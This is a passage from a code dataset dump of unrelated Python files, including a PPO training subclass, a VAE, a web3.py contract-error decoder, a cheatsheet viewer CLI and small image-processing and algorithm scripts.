tfd.Bernoulli(logits=logits)\n\n\nclass SimpleVAE(snt.Module):\n def __init__(self, latent_size, name=None):\n super(SimpleVAE, self).__init__(name=name)\n\n self.prior = tfd.MultivariateNormalDiag(loc=tf.zeros([latent_size]),\n scale_identity_multiplier=1.0)\n\n # self._lookup = LookupModule(500)\n self._encoder = snt.Linear(output_size=1500)\n self._latent_net = MultivarNormalDistModule(latent_size)\n\n self._decoder = snt.Linear(output_size=1500)\n self._sparse_net = NormalDistModule(index_end - index_start)\n\n # def lookup(self, ids, weights):\n # \treturn self._lookup(ids, weights)\n\n def encode(self, features):\n hidden = self._encoder(features)\n return self._latent_net(hidden)\n\n def decode(self, latent_sample):\n hidden = self._decoder(latent_sample)\n return self._sparse_net(hidden)\n\n def loss(self, prior, latent_dist, target):\n latent_sample = latent_dist.sample()\n reconstruction = self.decode(latent_sample)\n\n recon_loss = -tf.concat([\n reconstruction.log_prob(target),\n ], axis=1)\n\n recon_loss = tf.clip_by_value(recon_loss, -1e5, 1e5)\n recon_loss = tf.reduce_sum(recon_loss)\n\n latent_loss = tfd.kl_divergence(latent_dist, self.prior)\n latent_loss = tf.clip_by_value(latent_loss, -1e5, 1e5)\n\n return latent_loss + recon_loss\n\n\nclass VAEModel(tf.keras.Model):\n def __init__(self, vae):\n super(VAEModel, self).__init__()\n self.vae = vae\n\n def __call__(self, features):\n latent_dist = self.vae.encode(features)\n return latent_dist\n\n def gradients(self, features):\n with tf.GradientTape() as tape:\n latent_dist = self.vae.encode(features)\n loss = self.vae.loss(self.vae.prior, latent_dist, features)\n loss = tf.reduce_mean(loss)\n\n params = self.vae.trainable_variables\n grads = tape.gradient(loss, params)\n\n return loss, grads, params\n","repo_name":"synthbot-anon/synthbot","sub_path":"src/ponysynth/models/label_embeddings.py","file_name":"label_embeddings.py","file_ext":"py","file_size_in_byte":4822,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"4479593324","text":"# for testing\n# added collect / train time log\nfrom typing import Optional\nfrom gym import spaces\nimport numpy as np\nimport time\nimport torch as th\nfrom torch.nn import functional as F\n\nfrom stable_baselines3 import PPO\nfrom stable_baselines3.common.type_aliases import GymEnv, MaybeCallback\nfrom stable_baselines3.common.utils import safe_mean, explained_variance\n\n\nclass CustomPPO(PPO):\n def __init__(\n self,\n policy,\n env,\n learning_rate,\n batch_size,\n n_epochs,\n n_steps,\n vf_coef,\n policy_kwargs,\n seed,\n ):\n super().__init__(\n policy=policy,\n env=env,\n learning_rate=learning_rate,\n batch_size=batch_size,\n n_epochs=n_epochs,\n n_steps=n_steps,\n vf_coef=vf_coef,\n policy_kwargs=policy_kwargs,\n seed=seed,\n )\n\n def train(self) -> None:\n \"\"\"\n Update policy using the currently gathered rollout buffer.\n \"\"\"\n # Switch to train mode (this affects batch norm / dropout)\n self.policy.set_training_mode(True)\n # Update optimizer learning rate\n self._update_learning_rate(self.policy.optimizer)\n # Compute current clip range\n clip_range = self.clip_range(self._current_progress_remaining)\n # Optional: clip range for the value function\n if self.clip_range_vf is not None:\n clip_range_vf = self.clip_range_vf(self._current_progress_remaining)\n\n entropy_losses = []\n pg_losses, value_losses = [], []\n clip_fractions = []\n\n continue_training = True\n\n evaluate_actions_time = []\n\n # train for n_epochs epochs\n for epoch in range(self.n_epochs):\n approx_kl_divs = []\n # Do a complete pass on the rollout buffer\n for rollout_data in self.rollout_buffer.get(self.batch_size):\n actions = rollout_data.actions\n if isinstance(self.action_space, spaces.Discrete):\n # Convert discrete action from float to long\n actions = rollout_data.actions.long().flatten()\n\n # Re-sample the noise matrix because the log_std has changed\n if self.use_sde:\n self.policy.reset_noise(self.batch_size)\n\n start = time.time()\n values, log_prob, entropy = self.policy.evaluate_actions(rollout_data.observations, actions)\n end = time.time()\n evaluate_actions_time.append(end - start)\n\n values = values.flatten()\n # Normalize advantage\n advantages = rollout_data.advantages\n if self.normalize_advantage:\n advantages = (advantages - advantages.mean()) / (advantages.std() + 1e-8)\n\n # ratio between old and new policy, should be one at the first iteration\n ratio = th.exp(log_prob - rollout_data.old_log_prob)\n\n # clipped surrogate loss\n policy_loss_1 = advantages * ratio\n policy_loss_2 = advantages * th.clamp(ratio, 1 - clip_range, 1 + clip_range)\n policy_loss = -th.min(policy_loss_1, policy_loss_2).mean()\n\n # Logging\n pg_losses.append(policy_loss.item())\n clip_fraction = th.mean((th.abs(ratio - 1) > clip_range).float()).item()\n clip_fractions.append(clip_fraction)\n\n if self.clip_range_vf is None:\n # No clipping\n values_pred = values\n else:\n # Clip the different between old and new value\n # NOTE: this depends on the reward scaling\n values_pred = rollout_data.old_values + th.clamp(\n values - rollout_data.old_values, -clip_range_vf, clip_range_vf\n )\n # Value loss using the TD(gae_lambda) target\n value_loss = F.mse_loss(rollout_data.returns, values_pred)\n value_losses.append(value_loss.item())\n\n # Entropy loss favor exploration\n if entropy is None:\n # Approximate entropy when no analytical form\n entropy_loss = -th.mean(-log_prob)\n else:\n entropy_loss = -th.mean(entropy)\n\n entropy_losses.append(entropy_loss.item())\n\n loss = policy_loss + self.ent_coef * entropy_loss + self.vf_coef * value_loss\n\n # Calculate approximate form of reverse KL Divergence for early stopping\n # see issue #417: https://github.com/DLR-RM/stable-baselines3/issues/417\n # and discussion in PR #419: https://github.com/DLR-RM/stable-baselines3/pull/419\n # and Schulman blog: http://joschu.net/blog/kl-approx.html\n with th.no_grad():\n log_ratio = log_prob - rollout_data.old_log_prob\n approx_kl_div = th.mean((th.exp(log_ratio) - 1) - log_ratio).cpu().numpy()\n approx_kl_divs.append(approx_kl_div)\n\n if self.target_kl is not None and approx_kl_div > 1.5 * self.target_kl:\n continue_training = False\n if self.verbose >= 1:\n print(f\"Early stopping at step {epoch} due to reaching max kl: {approx_kl_div:.2f}\")\n break\n\n # Optimization step\n self.policy.optimizer.zero_grad()\n loss.backward()\n # Clip grad norm\n th.nn.utils.clip_grad_norm_(self.policy.parameters(), self.max_grad_norm)\n self.policy.optimizer.step()\n\n if not continue_training:\n break\n\n self._n_updates += self.n_epochs\n explained_var = explained_variance(self.rollout_buffer.values.flatten(), self.rollout_buffer.returns.flatten())\n\n # Logs\n self.logger.record(\"train/entropy_loss\", np.mean(entropy_losses))\n self.logger.record(\"train/policy_gradient_loss\", np.mean(pg_losses))\n self.logger.record(\"train/value_loss\", np.mean(value_losses))\n self.logger.record(\"train/approx_kl\", np.mean(approx_kl_divs))\n self.logger.record(\"train/clip_fraction\", np.mean(clip_fractions))\n self.logger.record(\"train/loss\", loss.item())\n self.logger.record(\"train/explained_variance\", explained_var)\n if hasattr(self.policy, \"log_std\"):\n self.logger.record(\"train/std\", th.exp(self.policy.log_std).mean().item())\n\n self.logger.record(\"train/n_updates\", self._n_updates, exclude=\"tensorboard\")\n self.logger.record(\"train/clip_range\", clip_range)\n if self.clip_range_vf is not None:\n self.logger.record(\"train/clip_range_vf\", clip_range_vf)\n\n self.logger.record(\"time/evaluate_actions_time\", np.mean(evaluate_actions_time))\n\n def learn(\n self,\n total_timesteps: int,\n callback: MaybeCallback = None,\n log_interval: int = 1,\n eval_env: Optional[GymEnv] = None,\n eval_freq: int = -1,\n n_eval_episodes: int = 5,\n tb_log_name: str = \"PPO\",\n eval_log_path: Optional[str] = None,\n reset_num_timesteps: bool = True,\n ):\n iteration = 0\n\n total_timesteps, callback = self._setup_learn(\n total_timesteps, eval_env, callback, eval_freq, n_eval_episodes, eval_log_path, reset_num_timesteps, tb_log_name\n )\n\n callback.on_training_start(locals(), globals())\n\n while self.num_timesteps < total_timesteps:\n\n start = time.time()\n continue_training = self.collect_rollouts(self.env, callback, self.rollout_buffer, n_rollout_steps=self.n_steps)\n end = time.time()\n\n if continue_training is False:\n break\n\n iteration += 1\n self._update_current_progress_remaining(self.num_timesteps, total_timesteps)\n\n # Display training infos\n if log_interval is not None and iteration % log_interval == 0:\n fps = int((self.num_timesteps - self._num_timesteps_at_start) / (time.time() - self.start_time))\n self.logger.record(\"time/iterations\", iteration, exclude=\"tensorboard\")\n if len(self.ep_info_buffer) > 0 and len(self.ep_info_buffer[0]) > 0:\n self.logger.record(\"rollout/ep_rew_mean\", safe_mean([ep_info[\"r\"] for ep_info in self.ep_info_buffer]))\n self.logger.record(\"rollout/ep_len_mean\", safe_mean([ep_info[\"l\"] for ep_info in self.ep_info_buffer]))\n self.logger.record(\"time/fps\", fps)\n self.logger.record(\"time/time_elapsed\", int(time.time() - self.start_time), exclude=\"tensorboard\")\n self.logger.record(\"time/total_timesteps\", self.num_timesteps, exclude=\"tensorboard\")\n self.logger.record(\"time/collect_time\", end - start)\n self.logger.dump(step=self.num_timesteps)\n\n start = time.time()\n self.train()\n end = time.time()\n\n if log_interval is not None and iteration % log_interval == 0:\n self.logger.record(\"time/train_time\", end - start)\n\n callback.on_training_end()\n\n return self\n","repo_name":"Digital-Humans-23/a2","sub_path":"src/python/pylocogym/algorithms/custom_ppo.py","file_name":"custom_ppo.py","file_ext":"py","file_size_in_byte":9469,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"2526217640","text":"# Averaging is the most common grayscale conversion routine\n# Calculates the average of the sum of the RGB values\n\nimport sys\nimport read_img\n\ndef average(imagefile):\n [size, maximum, pixels] = read_img.image_reader(imagefile)\n output = open('average_grayscale.pgm', 'w')\n\n #create header for new image file\n header = \"P2\\n# CREATOR average_gray.py\\n{0} {1}\\n\".format(size[0], size[1], maximum)\n output.write(header)\n\n # Averaging the RGB values\n for i in pixels:\n gray = (i[0] + i[1] + i[2])/3\n output.write(\"%d\\n\" % gray)\n\n output.close()\n\naverage(raw_input(\"Enter name of source image:\"))\n","repo_name":"GodzillaOnIce/Image-Processing","sub_path":"Assignments/Assignment 1/Grayscale/average_gray.py","file_name":"average_gray.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22303294009","text":"# 양 한마리... 양 두마리...\n# https://www.acmicpc.net/problem/11123\nimport sys\nsys.setrecursionlimit(10**6)\n\ninput = sys.stdin.readline\nT = int(input())\n\nxi = [0,0,1,-1]\nyi = [1,-1,0,0]\n# stack + while loop\ndef find_s(x,y):\n stack = []\n stack.append([x,y])\n f[x][y] = '.'\n while stack:\n xx,yy = stack.pop()\n for a in range(4):\n if xx+xi[a] in range(h) and yy+yi[a] in range(w):\n if f[xx+xi[a]][yy+yi[a]] == \"#\":\n stack.append([xx+xi[a],yy+yi[a]])\n f[xx+xi[a]][yy+yi[a]] = '.'\n# recursion (error -> set limit)\ndef find_r(x,y):\n f[x][y] = \".\"\n no = 0\n for a in range(4):\n if x+xi[a] in range(h) and y+yi[a] in range(w):\n if f[x+xi[a]][y+yi[a]] == \"#\":\n find_r(x+xi[a],y+yi[a])\n no = 1\n if no == 0: return\n\nfor _ in range(T):\n h,w = map(int,input().split())\n f = [list(input()) for _ in range(h)]\n cnt=0\n for i in range(h):\n for j in range(w):\n if f[i][j] == \"#\":\n cnt+=1\n find_r(i,j)\n print(cnt)","repo_name":"oneju/Baekjoon","sub_path":"Algorithm/11123.py","file_name":"11123.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15359333387","text":"import pandas as pd\n\ndef list_split_by(list1, split_by=None):\n \"\"\"\n https://stackoverflow.com/questions/71395055/python-split-a-list-into-several-lists-for-each-new-line-character\n \"\"\"\n list2 = []\n tmp = []\n for item in list1:\n if item != split_by:\n tmp.append(item)\n else:\n #Note we aren't actually processing this item of the input list, as '\\n' by itself is unwanted\n list2.append(tmp)\n tmp = []\n return list2\n\ndef main():\n with open('engtest.bio', 'r') as ifp:\n lines = ifp.readlines()\n datapoints = list_split_by(lines, '\\n')\n text_snippets = []\n extracted_titles = []\n for datum in datapoints:\n labels = [i.strip().split('\\t')[0] for i in datum]\n words = [i.strip().split('\\t')[1] for i in datum]\n \n state = 'Nothing'\n titles = []\n tmp = []\n for i in range(len(words)):\n if labels[i] == 'B-TITLE':\n tmp.append(words[i])\n state = 'Parsing'\n elif labels[i] == 'I-TITLE':\n tmp.append(words[i])\n else:\n if state == 'Parsing':\n titles.append(' '.join(tmp))\n state = 'Nothing'\n text = ' '.join(words)\n text_snippets.append(text)\n extracted_titles.append(titles)\n\n extracted_titles = [','.join(i) for i in extracted_titles]\n extracted_titles = [',' if len(i) == 0 else i for i in extracted_titles ]\n\n\n df = pd.DataFrame()\n df['Input.selftext'] = text_snippets\n df['Answer.crowd_input'] = extracted_titles\n df.to_csv('mit_movie_testset.csv')\n print('done!')\n\nif __name__ == '__main__':\n main()\n","repo_name":"zhouhanxie/T5-movie-title-retrieval","sub_path":"data/mit_trivia/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1321729698","text":"#!/usr/bin/env python3\n\nimport argparse\nimport os\nimport os.path\nimport shlex\nimport subprocess\nimport sys\n\nfrom jnscommons import jnsstr\n\n\n# ######### #\n# Constants #\n# ######### #\n\n\nDEFAULT_EDITOR = 'vim'\n\nNO_ERROR = 0\nERR_CHEATSHEET_NOT_FOUND = 2\n\n\n# #### #\n# Main #\n# #### #\n\n\ndef main():\n sys.exit(_perform_action(_parse_opts()))\n\n\n# ########################## #\n# Argument Parsing Functions #\n# ########################## #\n\n\ndef _parse_opts():\n parser = argparse.ArgumentParser(description='View cheatsheets', epilog=_create_help_epilog(),\n formatter_class=argparse.RawDescriptionHelpFormatter)\n\n # positional arguments\n parser.add_argument('cheatsheet', nargs='?', metavar='cheatsheet', default='',\n help='The cheatsheet to be viewed')\n\n # optional arguments\n parser.add_argument('-l', '--list', action='store_true', default=False, dest='list_cheatsheets',\n help='List the available cheatsheets (default: %(default)s)')\n parser.add_argument('-p', '--list-path', action='store_true', default=False, dest='list_paths',\n help='Display the paths that will be searched to find the cheatsheets (default: %(default)s)')\n parser.add_argument('--verbose', action='store_true', default=False, dest='verbose',\n help='Display more information about what actions are being taken (default: %(default)s)')\n\n return parser.parse_args()\n\n\ndef _create_help_epilog():\n e = []\n e.append('PATH')\n e.append('The cheatsheets that can be viewed are are searched for using on one or more paths. The following ')\n e.append('directory will always be one of the paths:')\n e.append(' {}'.format(_get_jns_cheatsheets_path()))\n e.append('The configuration file should be used to specify additional paths. If the requested cheatsheet is ')\n e.append('contained in more than one path, the cheatsheet in the first path found will be used.')\n e.append('')\n e.append('CONFIGURATION FILE')\n e.append('A configuration file can be used to specify paths that will be searched in order to find the '\n ' cheatsheets be made. `{}\\' will look for that file here:'.format(os.path.basename(sys.argv[0])))\n e.append(' {}'.format(_get_config_file_name()))\n e.append('Each line of the file should contain a single path.')\n e.append('')\n e.append('CONFIGURATION FILE NOTES')\n e.append(' * Empty lines and lines containing only whitespace are ignored')\n e.append(' * Lines that start with # are ignored')\n e.append(' * Whitespace before and after the path is ignored')\n e.append(' * Paths can contain whitespace but cannot start or end with a whitespace character')\n e.append(' * The paths will be searched for the requested cheatsheet in the order that they are specified')\n e.append(' * The default path will be searched first')\n\n return jnsstr.wrap_str_array(e)\n\n\n# ################ #\n# Action Functions #\n# ################ #\n\n\ndef _perform_action(opts):\n err = NO_ERROR\n\n if opts.list_cheatsheets:\n err = _perform_list_cheatsheets()\n elif opts.list_paths:\n err = _perform_list_paths()\n else:\n err = _perform_view_cheatsheet(opts)\n\n return err\n\n\ndef _perform_list_cheatsheets():\n for path in _get_paths():\n print('\\n'.join(_get_cheatsheets_in_path(path)))\n\n return NO_ERROR\n\n\ndef _is_cheatsheet_file(path, file_name):\n return os.path.isfile(os.path.join(path, file_name)) and not file_name.startswith('.')\n\n\ndef _perform_list_paths():\n print('\\n'.join(_get_paths()))\n return NO_ERROR\n\n\ndef _perform_view_cheatsheet(opts):\n err = NO_ERROR\n path, file_name = next(\n ((p, f) for p in _get_paths() for f in os.listdir(p) if _is_requested_cheatsheet(opts, p, f)),\n (None, None)\n )\n\n if path and file_name:\n err = _launch_cheatsheet_in_editor(opts, path, file_name)\n else:\n print('Cheatsheet not found in any paths:\\n{}'.format('\\n'.join(_get_paths())), file=sys.stderr)\n err = ERR_CHEATSHEET_NOT_FOUND\n\n return err\n\n# ############################## #\n# Cheatsheet Launching Functions #\n# ############################## #\n\n\ndef _launch_cheatsheet_in_editor(opts, path, cheatsheet_file):\n cmd = _get_editor_command()\n cmd.append(os.path.join(path, cheatsheet_file))\n\n if opts.verbose:\n print(' '.join([shlex.quote(part) for part in cmd]), flush=True)\n\n return subprocess.call(cmd)\n\n\ndef _is_requested_cheatsheet(opts, path, file_name):\n return _is_cheatsheet_file(path, file_name) and (\n opts.cheatsheet == file_name or\n opts.cheatsheet == os.path.splitext(file_name)[0]\n )\n\n\n# ############## #\n# Path Functions #\n# ############## #\n\n\ndef _get_paths():\n paths = []\n\n paths.append(_get_jns_cheatsheets_path())\n paths.extend(_get_config_file_paths())\n\n return paths\n\n\ndef _get_jns_cheatsheets_path():\n return os.path.normpath(os.path.join(\n os.path.dirname(os.path.realpath(sys.argv[0])),\n '..',\n 'cheatsheets'\n ))\n\n\ndef _get_config_file_paths():\n config_file_name = _get_config_file_name()\n paths = []\n\n if os.path.exists(config_file_name):\n with open(config_file_name, encoding='utf-8') as config_file:\n paths = _read_config_file_paths(config_file)\n\n return paths\n\n\ndef _get_config_file_name():\n return os.path.join(_get_home_dir(), '.jns', 'cheat')\n\n\ndef _read_config_file_paths(config_file):\n paths = []\n\n for line in config_file.readlines():\n path = _get_path_from_config_line(line)\n\n if path:\n paths.append(path)\n\n return paths\n\n\ndef _get_path_from_config_line(line):\n path = None\n line = line.strip()\n\n if len(line) > 0 and line[0] != '#':\n path = _normalize_home_dir(line)\n\n return path\n\n\ndef _get_cheatsheets_in_path(path):\n return [f for f in os.listdir(path) if _is_cheatsheet_file(path, f)]\n\n\n# ####################### #\n# Misc. Utility Functions #\n# ####################### #\n\n\ndef _normalize_home_dir(directory):\n if directory == '~' or directory.startswith('~/') or directory.startswith('~\\\\'):\n directory = _get_home_dir() + directory[1:]\n\n return directory\n\n\ndef _get_home_dir():\n return os.path.expanduser('~')\n\n\ndef _get_editor_command():\n return shlex.split(os.environ.get('EDITOR', DEFAULT_EDITOR))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"eviljoe/junk-n-stuff","sub_path":"src/cheat.py","file_name":"cheat.py","file_ext":"py","file_size_in_byte":6448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28552373826","text":"## 문제 분석\r\n# 방향성 그래프\r\n# X로 갈 때: from 1 ~ N to X의 거리\r\n# 집에 돌아올 때: from X to 1 ~ N의 거리\r\n\r\nimport heapq\r\nimport sys\r\n\r\n\r\ndef dijkstra(start, g):\r\n dist_list = [INF] * (N + 1)\r\n hq = []\r\n dist_list[start] = 0\r\n hq.append((dist_list[start], start))\r\n\r\n while hq:\r\n dist, u = heapq.heappop(hq)\r\n\r\n if dist > dist_list[u]:\r\n continue\r\n\r\n for v, w in g[u]:\r\n new_dist = dist_list[u] + w\r\n\r\n if new_dist < dist_list[v]:\r\n dist_list[v] = new_dist\r\n heapq.heappush(hq, (dist_list[v], v))\r\n\r\n return dist_list[1:]\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # 입력\r\n input = sys.stdin.readline\r\n N, M, X = map(int, input().split())\r\n graph = [[] for _ in range(N + 1)]\r\n r_graph = [[] for _ in range(N + 1)] # reverse direction graph\r\n for _ in range(M):\r\n u, v, w = map(int, input().split())\r\n graph[u].append((v, w))\r\n r_graph[v].append((u, w))\r\n\r\n # 해결\r\n INF = 987654321\r\n dist_list = dijkstra(X, graph) \r\n r_dist_list = dijkstra(X, r_graph)\r\n\r\n # 출력\r\n print(max(x + y for x, y in zip(dist_list, r_dist_list)))\r\n","repo_name":"whatasame/BaekjoonHub","sub_path":"백준/Gold/1238. 파티/파티.py","file_name":"파티.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73381980267","text":"import hmac\nimport hashlib\n\nclass BaseClient:\n id = 'trbinance'\n name = 'TrBinance'\n urls = {\n \"base\" : \"https://www.trbinance.com/open/v1\",\n \"type1\" : \"https://api.binance.me/api\",\n \"hidden\" : \"https://www.trbinance.com/v1\"\n }\n \n def __init__(self, api_key=\"\", secret_key=\"\"):\n self.api_key = api_key\n self.secret_key = secret_key\n self.markets = None\n self.symbols = None\n self.used_weight = {}\n\n def _generate_signature(self, params):\n query_string = '&'.join([f\"{key}={value}\" for key, value in params.items()])\n return hmac.new(self.secret_key.encode('utf-8'), query_string.encode('utf-8'), hashlib.sha256).hexdigest()","repo_name":"akasimo/python-trbinance","sub_path":"trbinance/base_client.py","file_name":"base_client.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37651059420","text":"from sklearn.feature_extraction.text import TfidfVectorizer\r\n\r\ntfidf_vectorizer = TfidfVectorizer(min_df=1)\r\n\r\n\r\ndef calculate_matrix(sentences):\r\n tfidf_matrix = tfidf_vectorizer.fit_transform(sentences)\r\n return tfidf_matrix\r\n\r\n\r\ndef calculate_similarity(matrix):\r\n doc_similarities = (matrix * matrix.T)\r\n temp = doc_similarities.toarray()[0]\r\n doc_similarities = []\r\n for i in range(len(temp)):\r\n if i == 0:\r\n continue\r\n doc_similarities.append((i, temp[i]))\r\n sort_similarities = sorted(doc_similarities, key=lambda doc: doc[1], reverse=True)\r\n similarity_index = []\r\n for i in range(5):\r\n similarity_index.append(sort_similarities[i])\r\n return similarity_index\r\n\r\n\r\ndef get_similarity(results):\r\n titles = []\r\n for result in results:\r\n titles.append(result['title'])\r\n matrix = calculate_matrix(titles)\r\n return calculate_similarity(matrix)\r\n","repo_name":"ChanghyunRyu/article_choser","sub_path":"tf-idf/tfidf.py","file_name":"tfidf.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1489496857","text":"import importlib\n\nimport timm\nimport torch\nfrom omegaconf import DictConfig\n\n\ndef create_model(config: DictConfig) -> torch.nn.Module:\n mode = config.mode\n if mode in ['MPIIGaze', 'MPIIFaceGaze']:\n module = importlib.import_module(\n f'ptgaze.models.{mode.lower()}.{config.model.name}')\n model = module.Model(config)\n elif mode == 'ETH-XGaze':\n model = timm.create_model(config.model.name, num_classes=2)\n else:\n raise ValueError\n device = torch.device(config.device)\n model.to(device)\n return model\n","repo_name":"hysts/pytorch_mpiigaze_demo","sub_path":"ptgaze/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":254,"dataset":"github-code","pt":"37"} +{"seq_id":"36668082219","text":"import warnings\n\nfrom eth_abi import (\n abi,\n)\nfrom eth_utils import (\n to_bytes,\n)\n\nfrom web3.exceptions import (\n ContractCustomError,\n ContractLogicError,\n ContractPanicError,\n OffchainLookup,\n)\nfrom web3.types import (\n RPCResponse,\n)\n\n# func selector for \"Error(string)\"\nSOLIDITY_ERROR_FUNC_SELECTOR = \"0x08c379a0\"\n\n# --- CCIP Read - EIP-3668 --- #\n# the first 4 bytes of keccak hash (func selector) for:\n# \"OffchainLookup(address,string[],bytes,bytes4,bytes)\"\nOFFCHAIN_LOOKUP_FUNC_SELECTOR = \"0x556f1830\"\nOFFCHAIN_LOOKUP_FIELDS = {\n \"sender\": \"address\",\n \"urls\": \"string[]\",\n \"callData\": \"bytes\",\n \"callbackFunction\": \"bytes4\",\n \"extraData\": \"bytes\",\n}\n\n\n# --- Solidity Panic Error, as of Solidity 0.8.0 --- #\nPANIC_ERROR_FUNC_SELECTOR = \"0x4e487b71\"\nPANIC_ERROR_CODES = {\n \"00\": \"Panic error 0x00: Generic compiler inserted panics.\",\n \"01\": \"Panic error 0x01: Assert evaluates to false.\",\n \"11\": \"Panic error 0x11: Arithmetic operation results in underflow or overflow.\",\n \"12\": \"Panic error 0x12: Division by zero.\",\n \"21\": \"Panic error 0x21: Cannot convert value into an enum type.\",\n \"22\": \"Panic error 0x12: Storage byte array is incorrectly encoded.\",\n \"31\": \"Panic error 0x31: Call to 'pop()' on an empty array.\",\n \"32\": \"Panic error 0x32: Array index is out of bounds.\",\n \"41\": \"Panic error 0x41: Allocation of too much memory or array too large.\",\n \"51\": \"Panic error 0x51: Call to a zero-initialized variable of internal \"\n \"function type.\",\n}\n\nMISSING_DATA = \"no data\"\n\n\ndef _parse_error_with_reverted_prefix(data: str) -> str:\n \"\"\"\n Parse errors from the data string which begin with the \"Reverted\" prefix.\n \"Reverted\", function selector and offset are always the same for revert errors\n \"\"\"\n prefix = f\"Reverted {SOLIDITY_ERROR_FUNC_SELECTOR}\"\n data_offset = (\"00\" * 31) + \"20\" # 0x0000...0020 (32 bytes)\n revert_pattern = prefix + data_offset\n error = data\n\n if data.startswith(revert_pattern):\n # if common revert pattern\n string_length = int(data[len(revert_pattern) : len(revert_pattern) + 64], 16)\n error = data[\n len(revert_pattern) + 64 : len(revert_pattern) + 64 + string_length * 2\n ]\n elif data.startswith(\"Reverted 0x\"):\n # Special case for this form: 'Reverted 0x...'\n error = data.split(\" \")[1][2:]\n\n try:\n error = bytes.fromhex(error).decode(\"utf8\")\n except UnicodeDecodeError:\n warnings.warn(\"Could not decode revert reason as UTF-8\", RuntimeWarning)\n raise ContractLogicError(\"execution reverted\", data=data)\n\n return error\n\n\ndef _raise_contract_error(response_error_data: str) -> None:\n \"\"\"\n Decode response error from data string and raise appropriate exception.\n\n \"Reverted \" (prefix may be present in `data`)\n Function selector for Error(string): 08c379a (4 bytes)\n Data offset: 32 (32 bytes)\n String length (32 bytes)\n Reason string (padded, use string length from above to get meaningful part)\n \"\"\"\n if response_error_data.startswith(\"Reverted \"):\n reason_string = _parse_error_with_reverted_prefix(response_error_data)\n raise ContractLogicError(\n f\"execution reverted: {reason_string}\", data=response_error_data\n )\n\n elif response_error_data[:10] == OFFCHAIN_LOOKUP_FUNC_SELECTOR:\n # --- EIP-3668 | CCIP read error --- #\n parsed_data_as_bytes = to_bytes(hexstr=response_error_data[10:])\n abi_decoded_data = abi.decode(\n list(OFFCHAIN_LOOKUP_FIELDS.values()), parsed_data_as_bytes\n )\n offchain_lookup_payload = dict(\n zip(OFFCHAIN_LOOKUP_FIELDS.keys(), abi_decoded_data)\n )\n raise OffchainLookup(offchain_lookup_payload, data=response_error_data)\n\n elif response_error_data[:10] == PANIC_ERROR_FUNC_SELECTOR:\n # --- Solidity Panic Error --- #\n panic_error_code = response_error_data[-2:]\n raise ContractPanicError(\n PANIC_ERROR_CODES[panic_error_code], data=response_error_data\n )\n\n # Solidity 0.8.4 introduced custom error messages that allow args to\n # be passed in (or not). See:\n # https://blog.soliditylang.org/2021/04/21/custom-errors/\n elif (\n len(response_error_data) >= 10\n and not response_error_data[:10] == SOLIDITY_ERROR_FUNC_SELECTOR\n ):\n # Raise with data as both the message and the data for backwards\n # compatibility and so that data can be accessed via 'data' attribute\n # on the ContractCustomError exception\n raise ContractCustomError(response_error_data, data=response_error_data)\n\n\ndef raise_contract_logic_error_on_revert(response: RPCResponse) -> RPCResponse:\n \"\"\"\n Revert responses contain an error with the following optional attributes:\n `code` - in this context, used for an unknown edge case when code = '3'\n `message` - error message is passed to the raised exception\n `data` - response error details (str, dict, None)\n\n See also https://solidity.readthedocs.io/en/v0.6.3/control-structures.html#revert\n \"\"\"\n error = response.get(\"error\")\n if error is None or isinstance(error, str):\n raise ValueError(error)\n\n message = error.get(\"message\")\n message_present = message is not None and message != \"\"\n data = error.get(\"data\", MISSING_DATA)\n\n if data is None:\n if message_present:\n raise ContractLogicError(message, data=data)\n elif not message_present:\n raise ContractLogicError(\"execution reverted\", data=data)\n elif isinstance(data, dict) and message_present:\n raise ContractLogicError(f\"execution reverted: {message}\", data=data)\n elif isinstance(data, str):\n _raise_contract_error(data)\n\n if message_present:\n # Geth Revert with error message and code 3 case:\n if error.get(\"code\") == 3:\n raise ContractLogicError(message, data=data)\n # Geth Revert without error message case:\n elif \"execution reverted\" in message:\n raise ContractLogicError(\"execution reverted\", data=data)\n\n return response\n","repo_name":"ethereum/web3.py","sub_path":"web3/_utils/contract_error_handling.py","file_name":"contract_error_handling.py","file_ext":"py","file_size_in_byte":6173,"program_lang":"python","lang":"en","doc_type":"code","stars":4510,"dataset":"github-code","pt":"37"} +{"seq_id":"33368802594","text":"# Importing Pandas to create DataFrame\nimport pandas as pd\nimport sys\n\n\n\n###############################################################\narguments = len(sys.argv) - 1\nBase_directory=sys.argv[1] + \"/Collection\"\nPH= [\"ACIDIC\", \"BASIC\"]\n##PH= [\"ACIDIC\"]\n\nFEATURE= [\"ROG_DENS_TA\", \"TA-TA\", \"TA-PO4\", \"Den_layer_thickness\", \"DHS_TAbeads\", \"AND_results\", \"hydrophobic_vol\", \"packing_factor\", \"Thickness_Bilayer\"]\n##GEN= [\"G1\"]\nGEN= [\"G1\", \"G2\", \"G3\", \"G4\", \"G5\", \"G6\"]\n\n\n\n\n\n###################################\n\n\n##############################################################\n\n# Creating Empty DataFrame and Storing it in variable df\n\ncol_list=['Generation', 'pH', 'Concentration', \"ROG_DENS_TA\", \"TA-TA\", \"TA-PO4\", \"Den_layer_thickness\", \"DHS_TAbeads\", \"AND_results\", \"hydrophobic_vol\", \"packing_factor\", \"Thickness_Bilayer\"]\ndf = 